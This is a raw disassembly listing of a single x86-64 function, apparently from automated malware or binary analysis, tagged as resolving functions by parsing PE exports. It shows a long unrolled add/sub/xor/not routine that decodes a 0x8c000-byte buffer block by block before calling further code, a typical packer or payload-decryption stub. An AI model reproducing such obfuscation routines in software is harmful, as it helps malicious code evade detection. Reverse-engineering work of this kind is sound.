Function at 0x140233000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push rbp
mov rbp, rsp
sub rsp, 0x20
and rsp, 0xfffffffffffffff0
lea rcx, [0x1401a6a00]
movabs rdx, 0
push rcx
add dword [rcx + 0x348], 0x3f5f4028
not dword [rcx + 0x22c]
add dword [rcx + 0x278], 0x1e4423bd
sub dword [rcx + 0x16c], 0x6cbc57fd
sub dword [rcx + 0x2d8], 0x48755b50
not dword [rcx + 0xcc]
add dword [rcx + 0x370], 0x28089d
sub dword [rcx + 0x2a4], 0xf36adb
not dword [rcx + 0x3c4]
xor dword [rcx + 0xe0], 0x151c410a
xor dword [rcx + 0x144], 0x1c7851c3
not dword [rcx + 0x1c4]
sub dword [rcx + 0x1f4], 0x38e82ec1
not dword [rcx + 0x1a4]
xor dword [rcx + 0x3b8], 0x26273399
xor dword [rcx + 4], 0x38630dc4
xor dword [rcx + 0xfc], 0x7146e81
add dword [rcx + 0x344], 0x63cd6c3e
sub dword [rcx + 0x290], 0x257b6d13
not dword [rcx + 0x3ac]
add dword [rcx + 0x1a8], 0x3dd06481
sub dword [rcx + 0x3b0], 0x58b138f9
not dword [rcx + 0x118]
add dword [rcx + 0xc0], 0x4f4b09cd
add dword [rcx + 0x364], 0xdcb5b86
sub dword [rcx + 0x2bc], 0x19b268f9
not dword [rcx + 0x31c]
add dword [rcx + 0x2e0], 0x3b8b6914
xor dword [rcx + 0x3d0], 0x41f36420
not dword [rcx + 0x9c]
not dword [rcx + 0x20c]
not dword [rcx + 0x338]
not dword [rcx + 0x3cc]
not dword [rcx + 0xf8]
not dword [rcx + 0x228]
add dword [rcx + 0x1e0], 0x36ee5ab1
not dword [rcx + 0x210]
xor dword [rcx + 0x288], 0x6adb2a9e
add dword [rcx + 0x334], 0x66895d11
xor dword [rcx + 0x78], 0x3a89167c
add dword [rcx + 0xc8], 0x283555f5
sub dword [rcx + 0x3d4], 0x67d1607
sub dword [rcx], 0x656b4c7b
sub dword [rcx + 0x250], 0x4919066d
sub dword [rcx + 0x6c], 0x47db59ef
add dword [rcx + 0x104], 0x578166f0
xor dword [rcx + 0x120], 0x73dc5552
xor dword [rcx + 0x10c], 0x387b42fa
sub dword [rcx + 0x30], 0x50ac0bab
xor dword [rcx + 0x1e8], 0x7eb62eb5
add dword [rcx + 0x1b0], 0x5be31ad9
add dword [rcx + 0x254], 0x17344d50
add dword [rcx + 0xb0], 0x63f75776
not dword [rcx + 0x50]
not dword [rcx + 0x204]
add dword [rcx + 0x300], 0x777a4b5d
not dword [rcx + 0x324]
not dword [rcx + 0x24c]
sub dword [rcx + 0x3f4], 0x68262f39
xor dword [rcx + 0x11c], 0x227d463f
xor dword [rcx + 0x35c], 0x6af6578b
xor dword [rcx + 0x1a0], 0x11a6f5f
sub dword [rcx + 0x58], 0x2eaf3683
sub dword [rcx + 0x350], 0x667a0489
xor dword [rcx + 0xe8], 0x57cb6774
not dword [rcx + 0x7c]
xor dword [rcx + 0x20], 0x3c956b12
xor dword [rcx + 0x2d0], 0x3e7a1a8b
add dword [rcx + 0x318], 0x3f236386
add dword [rcx + 0x190], 0x18134b39
xor dword [rcx + 0x2f0], 0x71263b9a
sub dword [rcx + 0x64], 0x102c6338
xor dword [rcx + 0x8c], 0x222a74d9
sub dword [rcx + 0x32c], 0x366748cd
sub dword [rcx + 0x5c], 0x20fe7c78
xor dword [rcx + 0x2e8], 0x106a3009
sub dword [rcx + 0x2d4], 0x6daa2ee7
sub dword [rcx + 0x134], 0x324278c7
sub dword [rcx + 0x304], 0x61960500
not dword [rcx + 0x13c]
xor dword [rcx + 0x84], 0x418d6c46
not dword [rcx + 0x2dc]
sub dword [rcx + 0x2c], 0x2a6f0555
xor dword [rcx + 0x280], 0x484508be
not dword [rcx + 0x25c]
sub dword [rcx + 0x1bc], 0x4f4f6391
sub dword [rcx + 0xd4], 0x39010153
not dword [rcx + 0x70]
not dword [rcx + 0x294]
xor dword [rcx + 0x1d4], 0x5c6b6c40
add dword [rcx + 0xf4], 0x467b0c9f
add dword [rcx + 0xc], 0x12c1742a
add dword [rcx + 0x48], 0x8a80901
add dword [rcx + 0x2b4], 0x6ddd4a92
sub dword [rcx + 0x3b4], 0x36a56980
add dword [rcx + 0x174], 0x159c6d82
add dword [rcx + 0x28], 0x221b21a5
add dword [rcx + 0x398], 0x12cb7469
add dword [rcx + 0x39c], 0x63f5eda
not dword [rcx + 0x24]
add dword [rcx + 0x368], 0x17cb09a5
sub dword [rcx + 0x28c], 0x44893380
not dword [rcx + 0x298]
add dword [rcx + 0x2c4], 0xe72d5a
sub dword [rcx + 0x310], 0x2b51106b
add dword [rcx + 0x44], 0x27e26caa
sub dword [rcx + 0x284], 0x55491ac9
sub dword [rcx + 0xac], 0x1afa13e8
xor dword [rcx + 0x1cc], 0x4c16ed
xor dword [rcx + 0x3c8], 0x53e122b
add dword [rcx + 0x268], 0x5deb46e1
add dword [rcx + 0xc4], 0x275a1a9d
not dword [rcx + 0x320]
add dword [rcx + 0x114], 0x5b90647f
add dword [rcx + 0x38], 0x74af5978
add dword [rcx + 0x2a0], 0x71823c69
not dword [rcx + 0x23c]
add dword [rcx + 0x154], 0x3c176c1e
add dword [rcx + 0x170], 0x5c827a45
xor dword [rcx + 0x17c], 0x6a5d4102
not dword [rcx + 0xb4]
add dword [rcx + 0x27c], 0x34ca67fc
sub dword [rcx + 0x3a8], 0x5bc927cd
sub dword [rcx + 0x1dc], 0x1237569
xor dword [rcx + 0xdc], 0x5af82db9
not dword [rcx + 0x258]
add dword [rcx + 0x1b8], 0x7b2b2699
add dword [rcx + 0x2cc], 0x40787dd7
xor dword [rcx + 0xec], 0x1f4b036c
xor dword [rcx + 0x10], 0x50f74ebc
add dword [rcx + 0x1f0], 0x4f2b6f26
xor dword [rcx + 0x100], 0x754d687d
xor dword [rcx + 0x18c], 0x53ab29e7
add dword [rcx + 0x380], 0xf07234a
xor dword [rcx + 0x3ec], 0x7fef0315
sub dword [rcx + 0x1b4], 0x25f15d05
add dword [rcx + 0x1d8], 0x4b3b6684
sub dword [rcx + 0x354], 0x6505049c
add dword [rcx + 0x238], 0x2e0c58ad
xor dword [rcx + 0x37c], 0x67791b35
sub dword [rcx + 0x68], 0x30e56d6e
not dword [rcx + 0x148]
sub dword [rcx + 0x3a0], 0x36c66d7f
xor dword [rcx + 0x314], 0x19c047bc
xor dword [rcx + 0x194], 0x9de61c3
not dword [rcx + 0x33c]
not dword [rcx + 0x180]
xor dword [rcx + 0x40], 0x2ba563b3
not dword [rcx + 0xd8]
not dword [rcx + 0x2fc]
xor dword [rcx + 0x178], 0x55fc6316
add dword [rcx + 0x3d8], 0x740c4e53
not dword [rcx + 0x3f8]
xor dword [rcx + 0x54], 0x59ef3445
add dword [rcx + 0x1c0], 0x13d52f2c
sub dword [rcx + 0x3bc], 0x25477250
xor dword [rcx + 0x2f8], 0x4ff57602
xor dword [rcx + 0x214], 0x23863fa9
sub dword [rcx + 0x2c8], 0x26b463d4
sub dword [rcx + 0x270], 0x241a5205
add dword [rcx + 0x308], 0x6c650848
add dword [rcx + 0x158], 0x4ac56c86
not dword [rcx + 0x358]
sub dword [rcx + 0x128], 0x444d218f
not dword [rcx + 0x388]
sub dword [rcx + 0x38c], 0x34867c65
sub dword [rcx + 0x29c], 0x55a46310
xor dword [rcx + 0x88], 0x54e81e0f
xor dword [rcx + 0xa8], 0x5999366e
not dword [rcx + 0x108]
xor dword [rcx + 0x394], 0xc25919
xor dword [rcx + 0x2ac], 0xd106bbe
add dword [rcx + 0x130], 0x366c0cf2
add dword [rcx + 0x12c], 0x7a8b3fe4
xor dword [rcx + 0x164], 0x1370284d
not dword [rcx + 0x384]
xor dword [rcx + 0x1f8], 0x46fa296c
xor dword [rcx + 0x98], 0x258a04ca
xor dword [rcx + 0x3f0], 0x4ef959c6
add dword [rcx + 0x168], 0x45332c0e
xor dword [rcx + 0x188], 0x30a17542
xor dword [rcx + 0x264], 0x73653027
xor dword [rcx + 0x330], 0x10c3263a
not dword [rcx + 0x160]
xor dword [rcx + 0x94], 0x1d632646
xor dword [rcx + 0x244], 0x3e86140a
xor dword [rcx + 0x3c], 0x45c45992
add dword [rcx + 0x15c], 0x2adc3b6c
xor dword [rcx + 0xa4], 0x1885097e
sub dword [rcx + 0xe4], 0x21940ef6
not dword [rcx + 0x3e4]
xor dword [rcx + 0xa0], 0xacd24a1
sub dword [rcx + 0x184], 0x7cf71cd9
sub dword [rcx + 0x3a4], 0x181a57ba
sub dword [rcx + 0x90], 0xeba2daf
xor dword [rcx + 0x124], 0x41b00585
sub dword [rcx + 0x60], 0x276345f1
sub dword [rcx + 0x21c], 0x2c28632f
add dword [rcx + 0x224], 0x2c2f441c
not dword [rcx + 0x360]
not dword [rcx + 0x140]
add dword [rcx + 0xb8], 0x6a9442f6
not dword [rcx + 0x34]
add dword [rcx + 8], 0x64800d1a
sub dword [rcx + 0x4c], 0x40105000
sub dword [rcx + 0x18], 0x7b4d7a99
xor dword [rcx + 0x240], 0x156978e1
sub dword [rcx + 0x1fc], 0x4fc733e3
sub dword [rcx + 0xd0], 0x1c450c22
xor dword [rcx + 0x74], 0x14d2f81
sub dword [rcx + 0x138], 0x2c0b0404
sub dword [rcx + 0x2e4], 0x38ee16da
not dword [rcx + 0x3e0]
sub dword [rcx + 0x26c], 0x31823fbf
not dword [rcx + 0x208]
not dword [rcx + 0x3e8]
sub dword [rcx + 0x230], 0x1c3433e2
sub dword [rcx + 0xf0], 0x6a471eaa
xor dword [rcx + 0x374], 0x3dfe3e99
not dword [rcx + 0x110]
not dword [rcx + 0x80]
xor dword [rcx + 0x19c], 0x1d4438dc
add dword [rcx + 0xbc], 0x3a5e3b58
xor dword [rcx + 0x2c0], 0x58521f8f
add dword [rcx + 0x14], 0x581e597f
add dword [rcx + 0x260], 0x65b765af
not dword [rcx + 0x1ec]
add dword [rcx + 0x2f4], 0x38e168b5
xor dword [rcx + 0x1c], 0x436c14c7
xor dword [rcx + 0x234], 0x34676f6b
not dword [rcx + 0x2b0]
add dword [rcx + 0x274], 0x7e9700f5
sub dword [rcx + 0x328], 0x31d26e9
not dword [rcx + 0x34c]
xor dword [rcx + 0x3dc], 0xf77711f
xor dword [rcx + 0x14c], 0x742f071a
sub dword [rcx + 0x220], 0x2fdf68fe
xor dword [rcx + 0x1ac], 0x401a01a1
xor dword [rcx + 0x200], 0x35122a33
add dword [rcx + 0x1d0], 0x39806c77
sub dword [rcx + 0x3fc], 0x24156006
xor dword [rcx + 0x378], 0x64226833
sub dword [rcx + 0x2ec], 0x26c8139f
xor dword [rcx + reloc.SHELL32.dll_IsUserAnAdmin], 0x6fa06bb6
add dword [rcx + 0x36c], 0xdef13f4
sub dword [rcx + 0x218], 0x41a42366
sub dword [rcx + 0x30c], 0x4a2830dd
sub dword [rcx + 0x390], 0x7db250fe
add dword [rcx + 0x3c0], 0x5f8244b7
add dword [rcx + 0x1e4], 0x6b794d55
xor dword [rcx + 0x198], 0x719d1639
add dword [rcx + 0x340], 0x2ee8526f
sub dword [rcx + 0x150], 0x76d734f1
not dword [rcx + 0x248]
add dword [rcx + 0x1c8], 0xe9c0657
add dword [rcx + 0x2b8], 0x2ec66c3a
add rdx, 0x400
add rcx, 0x400
cmp rdx, 0x8c000
je 0x140233918
jmp 0x140233035
pop rcx
call fcn.140232306
mov rsp, rbp
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax